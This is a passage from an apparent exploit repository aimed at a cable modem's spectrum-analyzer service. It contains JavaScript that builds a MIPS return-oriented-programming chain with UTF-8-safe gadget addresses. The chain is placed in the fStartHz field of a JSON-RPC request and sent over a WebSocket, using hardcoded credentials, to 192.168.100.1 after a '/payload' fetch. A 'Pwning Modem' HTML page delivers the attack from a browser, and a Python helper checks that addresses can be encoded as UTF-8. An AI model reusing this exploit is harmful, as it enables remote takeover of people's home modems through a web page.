lw $s0, 0x10($sp); jr $ra; addiu $sp, $sp, 0x20; 299 | 300 | 301 | // previousSp = sp 302 | // sp = previousSp+0x20 303 | // insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0x78, 0x7f, 0x64]) 304 | // //0x80787f64: jalr $s5; nop; 305 | 306 | clientAddrM4 = [0xe2, 0x80, 0xa0, 0x5b, 0x20] 307 | 308 | previousSp = sp 309 | sp = previousSp+0x20 310 | insertAt(arr, sp-1, clientAddrM4) //set s0 = clientAddr - 4 311 | insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 312 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 313 | 314 | previousSp = sp 315 | sp = previousSp+0x80 316 | insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x3d, 0x5b, 0x30]) 317 | //0x803d5b30: move $a0, $s0; move $v0, $zero; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 318 | 319 | previousSp = sp 320 | sp = previousSp+0x10 321 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd, 0x57, 0x6c]) 322 | //0x800d576c: lw $a0, 4($a0); lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 323 | 324 | previousSp = sp 325 | sp = previousSp+0x10 326 | insertAt(arr, previousSp-1, [0xc2, 0x80, 0x4c, 0x10, 0x38]) 327 | //0x804c1038: addiu $a2, $zero, 0x400; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 328 | 329 | //0x80a05c30 330 | payloadAddr = [0xe2, 0x80, 0xa0, 0x5c, 0x30] 331 | 332 | previousSp = sp 333 | sp = previousSp+0x10 334 | insertAt(arr, sp+0x4-1, payloadAddr) //set s1 = payload 335 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 336 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 337 | 338 | previousSp = sp 339 | sp = previousSp+0x80 340 | insertAt(arr, previousSp+0x20-1, [0xc2, 0x80, 0x5d, 0xdf, 0xb8]) 341 | //0x805ddfb8: move $a1, $s1; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 342 | 343 | previousSp = sp 344 | sp = previousSp+0x10 345 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x46, 0x73, 0x68]) 346 | //0x80467368: move $a3, $zero; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 347 | 348 | previousSp = sp 349 | sp = previousSp+0x10 350 | insertAt(arr, sp-1, [0xf2, 0x80, 0x8a, 0x93, 0x3c]) //set s0 = recv - 0x 351 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 352 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 353 | 354 | previousSp = sp 355 | sp = previousSp+0x80 356 | insertAt(arr, previousSp+0x20-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 357 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 358 | 359 | previousSp = sp 360 | sp = previousSp+0x10 361 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x4c, 0x27, 0x78]) 362 | //0x804c2778: addiu $v0, $v0, 0x4d90; lw $ra, 0x24($sp); lw $s0, 0x20($sp); jr $ra; addiu $sp, $sp, 0x30; 363 | 364 | previousSp = sp 365 | sp = previousSp+0x30 366 | insertAt(arr, previousSp+0x24-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 367 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 368 | //call recv 369 | 370 | previousSp = sp 371 | sp = previousSp+0x10 372 | insertAt(arr, previousSp+0x4-1, [0xf2, 0x80, 0x80, 0xa8, 0x64]) 373 | // 0x8080a864: addiu $a0, $zero, 2; lw $ra, 0x14($sp); lw $s0, 0x10($sp); move $v0, $zero; jr $ra; addiu $sp, $sp, 0x20; 374 | 375 | previousSp = sp 376 | sp = previousSp+0x20 377 | insertAt(arr, previousSp+0x14-1, [0xc2, 0x80, 0x12, 0x3b, 0x7c]) 378 | //0x80123b7c: addiu $a0, $a0, 4; lw $ra, ($sp); jr $ra; addiu $sp, $sp, 0x10; 379 | 380 | previousSp = sp 381 | sp = previousSp+0x10 382 | insertAt(arr, sp-1, [0xf2, 0x80, 0x8a, 0xab, 0x5c]) //set s0 = sleep 383 | insertAt(arr, previousSp-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 384 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 385 | 386 | previousSp = sp 387 | sp = previousSp+0x80 388 | insertAt(arr, previousSp+0x20-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 389 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 390 | 391 | previousSp = sp 392 | sp = previousSp+0x10 393 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 394 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 395 | //call sleep 396 | 397 | previousSp = sp 398 | sp = previousSp+0x10 399 | insertAt(arr, sp-1, payloadAddr) //set s0 = payload 400 | insertAt(arr, previousSp+0x4-1, [0xc2, 0x80, 0xd0, 0xb9, 0xc]) 401 | //0x80d0b90c: lw $ra, 0x20($ra); lw $s0, 4($sp) ... lw $s7, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x80; 402 | 403 | previousSp = sp 404 | sp = previousSp+0x80 405 | insertAt(arr, previousSp+0x20-1, [0xf2, 0x80, 0x80, 0xa5, 0x40]) 406 | //0x8080a540: move $v0, $s0; lw $ra, 8($sp); lw $s1, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 407 | 408 | previousSp = sp 409 | sp = previousSp+0x10 410 | insertAt(arr, previousSp+0x8-1, [0xc2, 0x80, 0x1a, 0x5f, 0x4c]) 411 | //0x801a5f4c: jalr $v0; nop; lw $ra, 4($sp); lw $s0, ($sp); jr $ra; addiu $sp, $sp, 0x10; 412 | 413 | var string = new TextDecoder("utf-8").decode(arr); 414 | 415 | var newArr = new TextEncoder("utf-8").encode(string); 416 | 417 | console.log(buf2hex(newArr)); 418 | 419 | exploit = '{"jsonrpc":"2.0","method":"Frontend::GetFrontendSpectrumData","params":{"coreID":0,"fStartHz":' + string + ',"fStopHz":1000000000,"fftSize":1024,"gain":1},"id":"0"}' 420 | console.log(exploit) 421 | 422 | console.log(testEqual(arr, newArr)); 423 | 424 | var socket = new WebSocket("ws://spectrum:spectrum@192.168.100.1:6080/Frontend", 'rpc-frontend') 425 | 426 | socket.onopen = function(e) { 427 | socket.send(exploit) 428 | fetch('/payload') 429 | }; 430 | -------------------------------------------------------------------------------- /static/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Pwning Modem 6 | 7 | 8 | 9 |

Pwning cable modem...

10 | -------------------------------------------------------------------------------- /utf8TestScript.py: -------------------------------------------------------------------------------- 1 | def isUTF8ReacableUserInput(st, base, verbosity = 1): 2 | addr = 0 3 | for i in st.split(' '): 4 | tmpAddr = int(i, int(base)) 5 | if tmpAddr > 255: 6 | raise ValueError("One byte cannot be larger than 255") 7 | addr = addr * 256 + int(i) 8 | print(hex(addr)) 9 | return isUTF8Reacable(addr, verbosity) 10 | 11 | def isUTF8Reacable(addr, verbosity = 1): 12 | prevByte = None 13 | while addr != 0: 14 | byte = addr & 0xff 15 | prevByte = {"byte": byte, "nextByte": prevByte} 16 | addr = addr >> 8 17 | prestartedBytes, ultimateTrailingBytes, result = isUTF8ReacableRec(prevByte, -1, 0, verbosity) 18 | charArray = [] 19 | if prestartedBytes != 0: 20 | if prestartedBytes == 1: 21 | startChar = 0b11000010 22 | elif prestartedBytes == 2: 23 | startChar = 0b11100010 24 | elif prestartedBytes == 3: 25 | startChar = 0b11110010 26 | else: 27 | return ([], False) 28 | charArray += [startChar] 29 | while prevByte != None: 30 | charArray += [prevByte['byte']] 31 | prevByte = prevByte['nextByte'] 32 | if ultimateTrailingBytes != 0: 33 | if ultimateTrailingBytes == 1: 34 | endChars = [0b10000000] 35 | elif ultimateTrailingBytes == 2: 36 | endChars = [0b10100000,0b10000000] 37 | elif ultimateTrailingBytes == 3: 38 | endChars = [0b10010000,0b10000000,0b10000001] 39 | else: 40 | return ([], False) 41 | charArray += endChars 42 | return charArray, result 43 | 44 | def isUTF8ReacableRec(inputByte, trailBytesLeft, prestartedBytes, verbosity = 1): 45 | byte = inputByte["byte"] 46 | if verbosity: 47 | print('Byte:', hex(byte), '| UTF-8 trail bytes left:', trailBytesLeft) 48 | if trailBytesLeft > 0: # Writing UTF-8 trailing bytes 49 | if byte >= 0b10000000 and byte < 0b11000000: 50 | trailBytesLeft -= 1 51 | if verbosity: 52 | print('Trailing byte allowed inside UTF-8 char') 53 | else: 54 | if verbosity: 55 | print('Error: Non-trailing byte not allowed inside UTF-8 char') 56 | return (prestartedBytes, trailBytesLeft, False) 57 | else: # Writing new UTF-8 number 58 | if 0b11000000 <= byte <= 0b11000001: 59 | if verbosity: 60 | print('Error: UTF-8 spec disallow 0xC0 and 0xC1 as start byte') 61 | return (prestartedBytes, trailBytesLeft, False) 62 | elif 0b11000010 <= byte <= 0b11110100: # Starting non-ASCII number A0 = 1010 0000 63 | binaryString = "{0:b}".format(byte) 64 | trailBytesLeft = -1 65 | for char in binaryString: 66 | if char == '1': 67 | trailBytesLeft += 1 68 | else: 69 | break 70 | if verbosity: 71 | print('Starting new UTF-8 char with', trailBytesLeft, 'bytes') 72 | elif 0b11110101 <= byte <= 0b11111111: 73 | if verbosity: 74 | print('Error: UTF-8 spec disallow 0xF5 through 0xFF as start byte') 75 | return (prestartedBytes, trailBytesLeft, False) 76 | elif byte < 0b10000000: # Writing ASCII number 77 | trailBytesLeft = 0 78 | if verbosity: 79 | print('ASCII byte allowed outside UTF-8 char') 80 | else: # Met trailing byte 81 | if trailBytesLeft == 0: 82 | if verbosity: 83 | print('Error: Trailing byte found outside UTF-8 char') 84 | return (prestartedBytes, trailBytesLeft, False) 85 | if verbosity: 86 | print('Trailing byte allowed in prestarted UTF-8 char') 87 | prestartedBytes += 1 88 | nextByte = inputByte["nextByte"] 89 | if nextByte == None: 90 | return (prestartedBytes, trailBytesLeft, True) 91 | return isUTF8ReacableRec(nextByte, trailBytesLeft, prestartedBytes, verbosity) 92 | 93 | if __name__ == "__main__": 94 | print("Enter the value to test as space seperated bytes (ex '194 168 22 11'):") 95 | testChars = input() 96 | print("What base (please give in whole base-10 number):") 97 | base = input() 98 | try: 99 | charArray, result = isUTF8ReacableUserInput(testChars, base) 100 | if result: 101 | print("Number can be constructed and is:", list(hex(i) for i in charArray)) 102 | else: 103 | print("Number cannot be constructed as UTF-8 char") 104 | except ValueError as e: 105 | print("Input was not formatted correctly:", e) 106 | --------------------------------------------------------------------------------